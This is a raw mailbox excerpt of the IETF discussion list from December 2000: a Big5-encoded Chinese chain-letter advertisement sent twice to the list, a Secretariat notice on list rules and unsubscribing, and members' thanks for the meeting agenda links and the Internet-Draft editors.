From owner-ietf-outbound Fri Dec 1 03:43:55 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA22730 for ietf-outbound.10@ietf.org; Fri, 1 Dec 2000 03:43:19 -0500 (EST) Received: from ms25.hinet.net (root@ms25.hinet.net [168.95.4.25]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA09963 for ; Fri, 1 Dec 2000 03:21:09 -0500 (EST) From: =?Big5?B?TXR2U3RhciC12KRIpf6yea21vNa69A==?=@ms25.hinet.net Received: from kite ([210.241.235.94]) by ms25.hinet.net (8.8.8/8.8.8) with ESMTP id QAA09912 for ; Fri, 1 Dec 2000 16:21:07 +0800 (CST) Message-Id: <200012010821.QAA09912@ms25.hinet.net> Subject: =?Big5?B?t1KxocVdqUc=?= -- =?Big5?B?tbm097Hmt1Kxoaq6p0EvqXA=?= To: ietf@ietf.org Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf" MIME-Version: 1.0 Sender: MtvStar.µØ¤H¥þ²y­µ¼Öºô@ms25.hinet.net Reply-To: Sender@epaperboy.com Date: Fri, 1 Dec 2000 14:59:41 +0800 X-Priority: 3 X-Library: Indy 8.006B Content-ID: ePaperBoy.John-Long-Studio.2000 X-Mailer: EPaper Boy X-Loop: ietf@ietf.org This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable =B7R=B1=A1=C5=5D=A9G -- =B5=B9=B4=F7=B1=E6=B7R=B1=A1=AA=BA=A7A/=A9p =20 =20
Seriously=A1A=B7R=B1=A1=C5=5D=A9G=A5u=ACO=C2=B2=B3=E6=AA=BA=A4=40=A5y=A1u=C1=C2=C1=C2=A7A=AA=BA=B7R=A1v--=20 Thank You For Loving Me =20

=B7R=B1=A1=C3h=BA=C3=BD=D7=AA=CC=AA=BA=A7A/=A9p=A1A=BB=7B=AC=B0=A9=D2=BF=D7=A1u=A4=A3=A6b=A5G=A4=D1=AA=F8=A6a=A4=5B=A1A=A5u=A6b=A5G=B4=BF=B8g=BE=D6=A6=B3=A1v=A5u=ACO=BCs=A7i=B5=FC=A4=A4=AA=BA=B3=AF=B5=C4=C0=DD=BD=D5?=21

=A9=CE=B3=5C=ACO=A7a=A1H=A6=FD=ACO=B9q=BCv=A1u=B2=C4=A4=BB=B7P=A5=CD=A6=BA=BDt=A1v=A4=A4=A1A=A7=EA=BAt=A6=BA=AF=AB=AA=BA=A5=AC=B5=DC=BCw=A9=BC=AFS=A1A=A4=5D=B3=5C=B4N=ACO=C5=E9=B7=7C=A8=EC=A4F=B7R=B1=A1=AA=BA=AFu=BF=CD=A1A=A9=F1=B1=F3=A4F=BE=D6=A6=B3=B7R=A4H=AA=BA=BE=F7=B7=7C=A1A=A5u=BB=A1=A4F=A4=40=A5y"Thank=20 You For Loving Me"=A1C=A4=E9=BC=40=A1u=AC=FC=C4R=A4H=A5=CD=A1v=A4=A4=A1A=A7=F6=A4l=C1=7B=B2=D7=ABe=A6b=B1=CF=C5=40=A8=AE=A4W=B9=EF=CAc=A4G=BB=A1=AA=BA=B3=CC=AB=E1=A4=40=A5y=B8=DC=A1A=A4=A3=ACO=A1u=A7=DA=B7R=A7A=A1v=A1A=A6=D3=ACO=A4=40=A5y=A1u=C1=C2=C1=C2=A1v=A1K=A1K

=A6b=B7R=B1=A1=B8=CC=A4=40=AA=BD=B6=5E=B6=5E=BC=B2=BC=B2=A1A=A8S=B1o=A4=C0=AA=BA=A7A/=A9p=A1A=B9=EF=B7R=B1=A1=AA=BA=BAA=AB=D7=ACO=A4=A3=ACO=B0=F7=A6=A8=BC=F4=A1H=A6=D3=A6b=C5=CA=B7R=A4=A4=AA=BA=A7A/=A9p=A1A=B8g=C0=E7=AA=BA=ACO=A7_=ACO=A4=40=ACq=B0=B7=B1d=AA=BA=B7P=B1=A1=A1H=A5H=A4U=AA=BA=A4p=B4=FA=C5=E7=A1A=A9=CE=B3=5C=A5i=A5H=C0=B0=A7U=A7A/=A9p=A7=F3=A4F=B8=D1=A6=DB=A4v=AA=BA=B7R=B1=A1EQ=A1C

=20 =20 =20 =20 =20
=B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=B1=D3=B7P=AB=D7
=B6g=A5=BD=A4U=A4=C8=A9M=A6n=A4=CD=AC=F9=A6n=A4F=B8I=AD=B1=A1A=A5X=AA=F9=AE=C9=A4=D1=AE=F0=C1=D9=A4=A3=BF=F9, =A4=A3=B9L=AE=F0=B6H=B9w=B3=F8=BB=A1=A4U=A4=C8=A5i=AF=E0=B7=7C=A4U=ABB, =ADn=A5=7E=A5X=AA=BA=A7A=B7=7C=A4=A3=B7=7C=B1a=ABB=B3=CA=A9O?
A.=20 =A4=CF=A5=BF=B2=7B=A6b=A8S=ABB=A4=A3=B7Q=B1a=A1A=B8I=B8I=B9B=AE=F0=A7a
B.=20 =C1=F6=B6=FB=B3=C2=B7=D0=C1=D9=ACO=B1a=A7=E2=ABB=B3=CA=A1A=A5H=A8=BE=B8U=A4=40
C.=20 =A5=AD=B1=60=B4N=B2=DF=BAD=C0H=A8=AD=B1a=A7=E2=A7=E9=B3=CA=A1A=A4=A3=A4U=ABB=A4=5D=A5i=A5H=BEB=A4=D3=B6=A7
D.=20 =B1a=A4F=B3=CA=ABo=B2=CA=A4=DF=A6a=A7=D1=A6b=B1=B6=B9B=A4W
=20 =B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=A7=AA=B6=FA=AB=D7
=A9p=AA=BA=BB=D3=A4=A4=B1K=A4=CD=A6b=A9p=A9M=A8k=A4=CD=A4=C0=A4=E2=AB=E1=A1A=B9=EF=A9p=AA=ED=A5=DC=A6o=B9=EF=A9p=AA=BA=ABe=A5=F4=A8k=A4=CD=A6=B3=BF=B3=BD=EC=A1A=C1=D9=B7Q=BD=D0=A9p=B7=ED=A4=B6=B2=D0=A4H=A1A=A9p=AA=BA=A4=CF=C0=B3=ACO=A1H
A.=20 =B3o=BA=D8=B1=A1=AAp=A4=D3=C0=AA=A7=BC=A4F=A1A=AA=BD=B1=B5=A9=DA=B5=B4=A6o
B.=20 =A5=B4=B9q=B8=DC=B5=B9=ABe=A5=F4=A8k=A4=CD=A1A=A5=D1=A5L=A6=DB=A4v=A8M=A9w
C.=20 =B0=AE=AF=DC=A6n=A4H=B0=B5=A8=EC=A9=B3=A1A=C0=B0=A5L=AD=C7=A6w=B1=C6=A4=40=A6=B8=AC=F9=B7=7C
=B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=B1M=A4=40=AB=D7
=A7A=AD=CC=A6b=BE=C7=A5=CD=AE=C9=B4=C1=B4N=ACO=A4=40=B9=EF=A5O=A4H=BA=D9=B8r=AA=BA=A1u=AFZ=B9=EF=A1v=A1A=B8g=B9L=B4X=A6=7E=C3=AD=A9w=AA=BA=A5=E6=A9=B9=A1A=A7A=A5=BF=A5H=AC=B0=A5i=A5H=A8B=A4J=B5=B2=B1B=C2=A7=B0=F3=A4=A7=BB=DA=A1A=A5L=ABo=A6V=A9p=A9Z=A9=D3=A1A=A5L=A4=DF=B8=CC=A6=B3=A5t=A5=7E=A4=40=AD=D3=A1u=A6o=A1v=A1K.
A.=20 =A5H=B2=5C=AC=7E=AD=B1=A1A=B6=CB=A4=DF=A6a=B7t=A6=DB=C0=F8=B6=CB
B.=20 =ABD=B1=60=AE=F0=BC=AB=A8=C3=B6A=A9G=A5L=AD=C7=A8S=A6n=B5=B2=AAG
C.=20 =A5u=A9=C7=A7A=AD=CC=A4=A7=B6=A1=B5L=BDt=A1A=AFu=A4=DF=AF=AC=BA=D6=A5L
D.=20 =A6=AD=A5L=A4=40=A8B=BB=A1=A4=C0=A4=E2=A1A=C3t=C5x=C2=E0=A8=AD=B4N=A8=AB
=B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=BF=CB=B1K=AB=D7
=A9p=B3=AD=A6P=A9p=AA=BA=B1=A1=A4H=B0=D1=A5=5B=A5L=A4=BD=A5q=AA=BA=AD=AB=ADn=BBE=B7=7C=AE=C9=A1A=A7A=AA=BA=AEa=A4H=A9=BF=B5MCall=A7A=A1A=BB=A1=AEa=B8=CC=A6=B3=AB=E6=A8=C6=A1A=B3o=AE=C9=A7A=B7Q=A7A=AA=BA=B1=A1=A4H=B7=7C=A1K.
A.=20 =A6V=A6=D1=AAO=A1B=A6P=A8=C6=B9D=BAp=A1A=A5=FD=A6=E6=C2=F7=AEu=B3=AD=A7A=A4=40=A6P=C2=F7=B6=7D
B.=20 =A5=FD=B6=7D=A8=AE=B0e=A7A=A6=5E=A5h=A1A=A6A=BB=B0=A6=5E=BBE=B7=7C=B3=F5=A9=D2
C.=20 =C0=B0=A7A=A5s=A8=AE=A1A=A6A=B0=A8=A4W=A5=B4=B9q=B8=DC=C3=F6=A4=DF=B8=DF=B0=DD
=B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=A6=DB=ABH=AB=D7
=A4=40=AD=D3=B5L=B2=E1=AA=BA=B6g=A5=BD=A4=C8=A6Z=A1A=A7A=A4=40=AD=D3=A4H=AE=CC=A8=EC=A4F=B9q=BCv=B0=7C=A1A=A5=BF=A6b=B1=C6=B6=A4=B6R=B2=BC=AE=C9=A1A=B3=BA=B5M=B9J=A8=A3=A4F=A7A=B7t=C5=CA=B3=5C=A4=5B=AA=BA=A5L=A1A=A4=40=AE=C9=A4=DF=B3=DF=A1A=ABo=B5o=B2=7B=A5L(=A6o)=AA=BA=A8=AD=AE=C7=A6=F1=B5=DB=A5t=A4=40=A6=EC=AC=FC=A4k(=AB=D3=AD=F4)=A1A=B3o=AE=C9=A1A=A7A=B7=7C=A1K.
A.=20 =A4j=A4=E8=AA=BA=A9M=A5L=AD=CC=A5=B4=A9=DB=A9I
B.=20 =B8=CB=A7=40=A8S=AC=DD=A8=A3=A1A=B5=A5=A5L(=A6o)=B5o=B2=7B=A7A=A6A=BB=A1
C.=20 =B6X=A5L(=A6o)=A8S=AC=DD=A8=A3=AE=C9=A1A=BB=B0=A7=D6=A8=AB=B1=BC
D.=20 =B0=B2=B8=CB=A8S=A8=C6=AF=EB=A6a=A9M=A5L=AD=CC=A5=B4=A9=DB=A9I=A1A=B8=D5=B1=B4=A9=CA=A6a=B0=DD=A1G=A1u=B3o=A6=EC=ACO=A7A=AA=BA=A1K.=A4k(=A8k)=AAB=A4=CD?=A1v

=A7A=AA=BA=B7R=B1=A1EQ=A4=CE=AE=E6=A4F=B6=DC=A1H=B5L=BD=D7=A6p=A6=F3=A1A=BD=D0=A6b=B7R=B1=A1=B8=CC=C4=7E=C4=F2=A5=5B=AAo=A1I
=B2=7B=A6b=BD=D0=A7A=A7=E2=B3o=AB=CAe-mail=B6=C7=B5=B910=AD=D3=AAB=A4=CD=A1A=A9M=A7=DA=AD=CC=A4=40=B0_=B4=B2=A7G=B7R=B1=A1=C5=5D=A9G=A1I
=B8=DB=BC=B0=A6a=AF=AC=BA=D6=AFu=B7R=AD=B0=C1=7B=A6b=A7A=A8=AD=C3=E4=A1I

=A8=B9=B3=EC=AD=B8 =A1uThank You For=20 Loving Me/=C1=C2=C1=C2=A7A=AA=BA=B7R=A1v=B3=E6=A6=B1
=A1uCrush/=B0g=C5=CA=A1v=B1M=BF=E8=BCv=AD=B5=A5=5B=AD=C8=AA=A9 11/29 =B5o=A6=E6

=B8=EA=AE=C6=B4=A3=A8=D1=20 =B0=AA=C0M=B0=EA=BB=DA=A5X=AA=A9 =B2q=A4=DF=A8=CF=AA=CC =B5=DB=A1u=BFs=A4=DF=A4j=AAk=A1v

--=_NextPart_2rfkindysadvnqw3nerasdf-- From owner-ietf-outbound Fri Dec 1 03:47:06 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA24694 for ietf-outbound.10@ietf.org; Fri, 1 Dec 2000 03:46:56 -0500 (EST) Received: from ms25.hinet.net (root@ms25.hinet.net [168.95.4.25]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA09963 for ; Fri, 1 Dec 2000 03:21:09 -0500 (EST) From: =?Big5?B?TXR2U3RhciC12KRIpf6yea21vNa69A==?=@ms25.hinet.net Received: from kite ([210.241.235.94]) by ms25.hinet.net (8.8.8/8.8.8) with ESMTP id QAA09912 for ; Fri, 1 Dec 2000 16:21:07 +0800 (CST) Message-Id: <200012010821.QAA09912@ms25.hinet.net> Subject: =?Big5?B?t1KxocVdqUc=?= -- =?Big5?B?tbm097Hmt1Kxoaq6p0EvqXA=?= To: ietf@ietf.org Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf" MIME-Version: 1.0 Sender: MtvStar.µØ¤H¥þ²y­µ¼Öºô@ms25.hinet.net Reply-To: Sender@epaperboy.com Date: Fri, 1 Dec 2000 14:59:41 +0800 X-Priority: 3 X-Library: Indy 8.006B Content-ID: ePaperBoy.John-Long-Studio.2000 X-Mailer: EPaper Boy X-Loop: ietf@ietf.org This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable =B7R=B1=A1=C5=5D=A9G -- =B5=B9=B4=F7=B1=E6=B7R=B1=A1=AA=BA=A7A/=A9p =20 =20
Seriously=A1A=B7R=B1=A1=C5=5D=A9G=A5u=ACO=C2=B2=B3=E6=AA=BA=A4=40=A5y=A1u=C1=C2=C1=C2=A7A=AA=BA=B7R=A1v--=20 Thank You For Loving Me =20

=B7R=B1=A1=C3h=BA=C3=BD=D7=AA=CC=AA=BA=A7A/=A9p=A1A=BB=7B=AC=B0=A9=D2=BF=D7=A1u=A4=A3=A6b=A5G=A4=D1=AA=F8=A6a=A4=5B=A1A=A5u=A6b=A5G=B4=BF=B8g=BE=D6=A6=B3=A1v=A5u=ACO=BCs=A7i=B5=FC=A4=A4=AA=BA=B3=AF=B5=C4=C0=DD=BD=D5?=21

=A9=CE=B3=5C=ACO=A7a=A1H=A6=FD=ACO=B9q=BCv=A1u=B2=C4=A4=BB=B7P=A5=CD=A6=BA=BDt=A1v=A4=A4=A1A=A7=EA=BAt=A6=BA=AF=AB=AA=BA=A5=AC=B5=DC=BCw=A9=BC=AFS=A1A=A4=5D=B3=5C=B4N=ACO=C5=E9=B7=7C=A8=EC=A4F=B7R=B1=A1=AA=BA=AFu=BF=CD=A1A=A9=F1=B1=F3=A4F=BE=D6=A6=B3=B7R=A4H=AA=BA=BE=F7=B7=7C=A1A=A5u=BB=A1=A4F=A4=40=A5y"Thank=20 You For Loving Me"=A1C=A4=E9=BC=40=A1u=AC=FC=C4R=A4H=A5=CD=A1v=A4=A4=A1A=A7=F6=A4l=C1=7B=B2=D7=ABe=A6b=B1=CF=C5=40=A8=AE=A4W=B9=EF=CAc=A4G=BB=A1=AA=BA=B3=CC=AB=E1=A4=40=A5y=B8=DC=A1A=A4=A3=ACO=A1u=A7=DA=B7R=A7A=A1v=A1A=A6=D3=ACO=A4=40=A5y=A1u=C1=C2=C1=C2=A1v=A1K=A1K

=A6b=B7R=B1=A1=B8=CC=A4=40=AA=BD=B6=5E=B6=5E=BC=B2=BC=B2=A1A=A8S=B1o=A4=C0=AA=BA=A7A/=A9p=A1A=B9=EF=B7R=B1=A1=AA=BA=BAA=AB=D7=ACO=A4=A3=ACO=B0=F7=A6=A8=BC=F4=A1H=A6=D3=A6b=C5=CA=B7R=A4=A4=AA=BA=A7A/=A9p=A1A=B8g=C0=E7=AA=BA=ACO=A7_=ACO=A4=40=ACq=B0=B7=B1d=AA=BA=B7P=B1=A1=A1H=A5H=A4U=AA=BA=A4p=B4=FA=C5=E7=A1A=A9=CE=B3=5C=A5i=A5H=C0=B0=A7U=A7A/=A9p=A7=F3=A4F=B8=D1=A6=DB=A4v=AA=BA=B7R=B1=A1EQ=A1C

=20 =20 =20 =20 =20
=B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=B1=D3=B7P=AB=D7
=B6g=A5=BD=A4U=A4=C8=A9M=A6n=A4=CD=AC=F9=A6n=A4F=B8I=AD=B1=A1A=A5X=AA=F9=AE=C9=A4=D1=AE=F0=C1=D9=A4=A3=BF=F9, =A4=A3=B9L=AE=F0=B6H=B9w=B3=F8=BB=A1=A4U=A4=C8=A5i=AF=E0=B7=7C=A4U=ABB, =ADn=A5=7E=A5X=AA=BA=A7A=B7=7C=A4=A3=B7=7C=B1a=ABB=B3=CA=A9O?
A.=20 =A4=CF=A5=BF=B2=7B=A6b=A8S=ABB=A4=A3=B7Q=B1a=A1A=B8I=B8I=B9B=AE=F0=A7a
B.=20 =C1=F6=B6=FB=B3=C2=B7=D0=C1=D9=ACO=B1a=A7=E2=ABB=B3=CA=A1A=A5H=A8=BE=B8U=A4=40
C.=20 =A5=AD=B1=60=B4N=B2=DF=BAD=C0H=A8=AD=B1a=A7=E2=A7=E9=B3=CA=A1A=A4=A3=A4U=ABB=A4=5D=A5i=A5H=BEB=A4=D3=B6=A7
D.=20 =B1a=A4F=B3=CA=ABo=B2=CA=A4=DF=A6a=A7=D1=A6b=B1=B6=B9B=A4W
=20 =B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=A7=AA=B6=FA=AB=D7
=A9p=AA=BA=BB=D3=A4=A4=B1K=A4=CD=A6b=A9p=A9M=A8k=A4=CD=A4=C0=A4=E2=AB=E1=A1A=B9=EF=A9p=AA=ED=A5=DC=A6o=B9=EF=A9p=AA=BA=ABe=A5=F4=A8k=A4=CD=A6=B3=BF=B3=BD=EC=A1A=C1=D9=B7Q=BD=D0=A9p=B7=ED=A4=B6=B2=D0=A4H=A1A=A9p=AA=BA=A4=CF=C0=B3=ACO=A1H
A.=20 =B3o=BA=D8=B1=A1=AAp=A4=D3=C0=AA=A7=BC=A4F=A1A=AA=BD=B1=B5=A9=DA=B5=B4=A6o
B.=20 =A5=B4=B9q=B8=DC=B5=B9=ABe=A5=F4=A8k=A4=CD=A1A=A5=D1=A5L=A6=DB=A4v=A8M=A9w
C.=20 =B0=AE=AF=DC=A6n=A4H=B0=B5=A8=EC=A9=B3=A1A=C0=B0=A5L=AD=C7=A6w=B1=C6=A4=40=A6=B8=AC=F9=B7=7C
=B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=B1M=A4=40=AB=D7
=A7A=AD=CC=A6b=BE=C7=A5=CD=AE=C9=B4=C1=B4N=ACO=A4=40=B9=EF=A5O=A4H=BA=D9=B8r=AA=BA=A1u=AFZ=B9=EF=A1v=A1A=B8g=B9L=B4X=A6=7E=C3=AD=A9w=AA=BA=A5=E6=A9=B9=A1A=A7A=A5=BF=A5H=AC=B0=A5i=A5H=A8B=A4J=B5=B2=B1B=C2=A7=B0=F3=A4=A7=BB=DA=A1A=A5L=ABo=A6V=A9p=A9Z=A9=D3=A1A=A5L=A4=DF=B8=CC=A6=B3=A5t=A5=7E=A4=40=AD=D3=A1u=A6o=A1v=A1K.
A.=20 =A5H=B2=5C=AC=7E=AD=B1=A1A=B6=CB=A4=DF=A6a=B7t=A6=DB=C0=F8=B6=CB
B.=20 =ABD=B1=60=AE=F0=BC=AB=A8=C3=B6A=A9G=A5L=AD=C7=A8S=A6n=B5=B2=AAG
C.=20 =A5u=A9=C7=A7A=AD=CC=A4=A7=B6=A1=B5L=BDt=A1A=AFu=A4=DF=AF=AC=BA=D6=A5L
D.=20 =A6=AD=A5L=A4=40=A8B=BB=A1=A4=C0=A4=E2=A1A=C3t=C5x=C2=E0=A8=AD=B4N=A8=AB
=B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=BF=CB=B1K=AB=D7
=A9p=B3=AD=A6P=A9p=AA=BA=B1=A1=A4H=B0=D1=A5=5B=A5L=A4=BD=A5q=AA=BA=AD=AB=ADn=BBE=B7=7C=AE=C9=A1A=A7A=AA=BA=AEa=A4H=A9=BF=B5MCall=A7A=A1A=BB=A1=AEa=B8=CC=A6=B3=AB=E6=A8=C6=A1A=B3o=AE=C9=A7A=B7Q=A7A=AA=BA=B1=A1=A4H=B7=7C=A1K.
A.=20 =A6V=A6=D1=AAO=A1B=A6P=A8=C6=B9D=BAp=A1A=A5=FD=A6=E6=C2=F7=AEu=B3=AD=A7A=A4=40=A6P=C2=F7=B6=7D
B.=20 =A5=FD=B6=7D=A8=AE=B0e=A7A=A6=5E=A5h=A1A=A6A=BB=B0=A6=5E=BBE=B7=7C=B3=F5=A9=D2
C.=20 =C0=B0=A7A=A5s=A8=AE=A1A=A6A=B0=A8=A4W=A5=B4=B9q=B8=DC=C3=F6=A4=DF=B8=DF=B0=DD
=B4=FA=C5=E7=A7A=AA=BA=B7R=B1=A1=A6=DB=ABH=AB=D7
=A4=40=AD=D3=B5L=B2=E1=AA=BA=B6g=A5=BD=A4=C8=A6Z=A1A=A7A=A4=40=AD=D3=A4H=AE=CC=A8=EC=A4F=B9q=BCv=B0=7C=A1A=A5=BF=A6b=B1=C6=B6=A4=B6R=B2=BC=AE=C9=A1A=B3=BA=B5M=B9J=A8=A3=A4F=A7A=B7t=C5=CA=B3=5C=A4=5B=AA=BA=A5L=A1A=A4=40=AE=C9=A4=DF=B3=DF=A1A=ABo=B5o=B2=7B=A5L(=A6o)=AA=BA=A8=AD=AE=C7=A6=F1=B5=DB=A5t=A4=40=A6=EC=AC=FC=A4k(=AB=D3=AD=F4)=A1A=B3o=AE=C9=A1A=A7A=B7=7C=A1K.
A.=20 =A4j=A4=E8=AA=BA=A9M=A5L=AD=CC=A5=B4=A9=DB=A9I
B.=20 =B8=CB=A7=40=A8S=AC=DD=A8=A3=A1A=B5=A5=A5L(=A6o)=B5o=B2=7B=A7A=A6A=BB=A1
C.=20 =B6X=A5L(=A6o)=A8S=AC=DD=A8=A3=AE=C9=A1A=BB=B0=A7=D6=A8=AB=B1=BC
D.=20 =B0=B2=B8=CB=A8S=A8=C6=AF=EB=A6a=A9M=A5L=AD=CC=A5=B4=A9=DB=A9I=A1A=B8=D5=B1=B4=A9=CA=A6a=B0=DD=A1G=A1u=B3o=A6=EC=ACO=A7A=AA=BA=A1K.=A4k(=A8k)=AAB=A4=CD?=A1v

=A7A=AA=BA=B7R=B1=A1EQ=A4=CE=AE=E6=A4F=B6=DC=A1H=B5L=BD=D7=A6p=A6=F3=A1A=BD=D0=A6b=B7R=B1=A1=B8=CC=C4=7E=C4=F2=A5=5B=AAo=A1I
=B2=7B=A6b=BD=D0=A7A=A7=E2=B3o=AB=CAe-mail=B6=C7=B5=B910=AD=D3=AAB=A4=CD=A1A=A9M=A7=DA=AD=CC=A4=40=B0_=B4=B2=A7G=B7R=B1=A1=C5=5D=A9G=A1I
=B8=DB=BC=B0=A6a=AF=AC=BA=D6=AFu=B7R=AD=B0=C1=7B=A6b=A7A=A8=AD=C3=E4=A1I

=A8=B9=B3=EC=AD=B8 =A1uThank You For=20 Loving Me/=C1=C2=C1=C2=A7A=AA=BA=B7R=A1v=B3=E6=A6=B1
=A1uCrush/=B0g=C5=CA=A1v=B1M=BF=E8=BCv=AD=B5=A5=5B=AD=C8=AA=A9 11/29 =B5o=A6=E6

=B8=EA=AE=C6=B4=A3=A8=D1=20 =B0=AA=C0M=B0=EA=BB=DA=A5X=AA=A9 =B2q=A4=DF=A8=CF=AA=CC =B5=DB=A1u=BFs=A4=DF=A4j=AAk=A1v

--=_NextPart_2rfkindysadvnqw3nerasdf-- From owner-ietf-outbound Fri Dec 1 10:40:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA21882 for ietf-outbound.10@ietf.org; Fri, 1 Dec 2000 10:40:02 -0500 (EST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21177 for ; Fri, 1 Dec 2000 10:36:49 -0500 (EST) Message-Id: <200012011536.KAA21177@ietf.org> From: The IETF Secretariat To: ietf@ietf.org Subject: IETF List maintenance Reply-to: ietf-request@ietf.org Date: Fri, 01 Dec 2000 10:36:49 -0500 Sender: scoya@cnri.reston.va.us X-Loop: ietf@ietf.org To remove yourself from the IETF discussion list, send a message to ietf-request@ietf.org Enter just the word unsubscribe in the body of the message. NOTE: List requests do not take effect until the next day, and there are always messages in the outbound queue. As such, you may continue receiving messages for a short while after successfully unsubscribing from the list. The IETF discussion list serves two purposes. It furthers the development and specification of Internet technology through discussion of technical issues. It also hosts discussions of IETF direction, policy, and procedures. As this is the most general IETF mailing list, considerable latitude is allowed. Advertising, whether to solicit business or promote employment opportunities, falls well outside the range of acceptable topics, as do discussions of a personal nature. This list is meant for initial discussion only. Discussions that fall within the area of any working group or well established list should be moved to such more specific forum as soon as this is pointed out, unless the issue is one for which the working group needs wider input or direction. In addition to the topics noted above, appropriate postings include: o Last Call discussions of proposed protocol actions o Discussion of technical issues that are candidates for IETF work, but do not yet have an appropriate e-mail venue o Discussion of IETF administrative policies o Questions and clarifications concerning IETF meetings. o Announcements of conferences, events, or activities that are sponsored or endorsed by the Internet Society or IETF. Inappropriate postings include: o Unsolicited bulk e-mail o Discussion of subjects unrelated to IETF policy, meetings, activities, or technical concerns o Unprofessional commentary, regardless of the general subject. The IETF Chair, the IETF Executive Director, or a sergeant-at-arms appointed by the Chair is empowered to restrict posting by a person or of a thread as they deem appropriate to limit abuse. Complaints regarding their decisions should be referred to the IAB For more information on the IETF Discussion list, please read the List Charter at http://www.ietf.org/rfc/rfc3005.txt From owner-ietf-outbound Fri Dec 1 15:00:36 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA07268 for ietf-outbound.10@ietf.org; Fri, 1 Dec 2000 15:00:02 -0500 (EST) Received: from fncomr02.fnc.fujitsu.com (fncomr.fnc.fujitsu.com [167.254.105.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA06800 for ; Fri, 1 Dec 2000 14:57:18 -0500 (EST) Received: from rchsemx2.fnc.fujitsu.com (rchsemx2.fnc.fujitsu.com [167.254.105.13]) by fncomr02.fnc.fujitsu.com (Mirapoint) with ESMTP id ABJ01220; Fri, 1 Dec 2000 13:56:21 -0600 (GMT+6) Received: by rchsemx2.fnc.fujitsu.com with Internet Mail Service (5.5.2650.21) id ; Fri, 1 Dec 2000 13:56:23 -0600 Message-ID: <988C6A018CC0D41197D90000F81AA34BCB6EB0@fnc03.fnc.fujitsu.com> From: "Dawkins, Spencer" To: "'ietf@ietf.org'" Subject: Thank-you to the Secretariat Date: Fri, 1 Dec 2000 13:56:13 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org I have not noticed hot-links to the WG/BOF agenda pages from http://www.ietf.org/meetings/agenda.html in previous IETFs. Whether this is new, or whether it's been done in the past and I can't remember/have brain damage, I find this very useful. Since I know this didn't happen by accident, THANK YOU! It's also kind of a hall of shame for late agendas, isn't it? I'm glad Aaron sent the PILC agenda in on time! Spencer p.s. I'm thinking that a hot-link from WG home pages to the WG mailing list archive URL that's already on each page would ALSO be swell, but we can talk about that after the December meeting! From owner-ietf-outbound Fri Dec 1 15:50:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA18460 for ietf-outbound.10@ietf.org; Fri, 1 Dec 2000 15:50:03 -0500 (EST) Received: from dnspri.npac.com (firewall-user@dnspri.npac.com [208.143.33.66]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA18130 for ; Fri, 1 Dec 2000 15:48:23 -0500 (EST) Received: by dnspri.npac.com; id OAA23618; Fri, 1 Dec 2000 14:48:24 -0600 (CST) Received: from unknown(192.168.20.106) by dnspri.npac.com via smap (V5.0) id xma023115; Fri, 1 Dec 00 14:47:52 -0600 Message-Id: <5.0.0.25.2.20001201154258.0263c110@127.0.0.1> X-Sender: rshockey/popd.ix.netcom.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Fri, 01 Dec 2000 15:49:19 -0500 To: "'ietf@ietf.org'" From: Richard Shockey Subject: Re: Thank-you to the Secretariat -- and the ID Editors... In-Reply-To: <988C6A018CC0D41197D90000F81AA34BCB6EB0@fnc03.fnc.fujitsu.c om> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 01:56 PM 12/1/2000 -0600, Dawkins, Spencer wrote: >I have not noticed hot-links to the WG/BOF agenda pages from >http://www.ietf.org/meetings/agenda.html in previous IETFs. > >Whether this is new, or whether it's been done in the past and I can't >remember/have brain damage, I find this very useful. Since I know this >didn't happen by accident, THANK YOU! Maybe its just me but I think we are going to hit the world record for ID's submitted in advance of an IETF meeting. Great Job to the ID Editors, as always, for the difficult and stressful task they have to preform 3 times a year. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Richard Shockey Senior Technical Industry Liaison NeuStar Inc. 1120 Vermont Avenue N.W. Suite 550 Washington DC. 20005 Voice 202.533.2811 Fax to EMail 815.333.1237 (Preferred for Fax) Cell : 314.503.0640 INTERNET Mail & IFAX : rich.shockey@neustar.com or rshockey@ix.netcom.com http://www.neustar.com <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< From owner-ietf-outbound Fri Dec 1 21:50:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA11265 for ietf-outbound.10@ietf.org; Fri, 1 Dec 2000 21:50:02 -0500 (EST) Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA10237 for ; Fri, 1 Dec 2000 21:43:44 -0500 (EST) Received: (from wollman@localhost) by 